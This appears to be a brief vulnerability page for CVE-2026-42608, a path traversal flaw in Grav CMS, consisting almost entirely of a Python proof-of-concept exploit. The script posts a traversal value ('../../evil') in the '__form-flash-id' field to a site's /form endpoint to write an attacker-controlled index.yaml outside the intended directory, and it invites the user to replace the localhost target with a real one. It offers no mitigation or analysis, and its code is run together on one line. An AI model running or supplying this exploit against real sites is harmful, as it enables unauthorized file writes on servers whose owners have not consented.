CVE-2026-42608 Grav CMS路径遍历漏洞

import requests def exploit(target_url): # Target endpoint that processes form flash data url = f"{target_url}/form" # Malicious payload using path traversal to write outside the intended directory # This payload attempts to create a directory 'evil' in the parent directory traversal_payload = "../../evil" # The data to be written into index.yaml malicious_data = "attacker_controlled: true" payload = { "__form-flash-id": traversal_payload, "data": malicious_data } try: response = requests.post(url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully. Check the filesystem.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target exploit(target)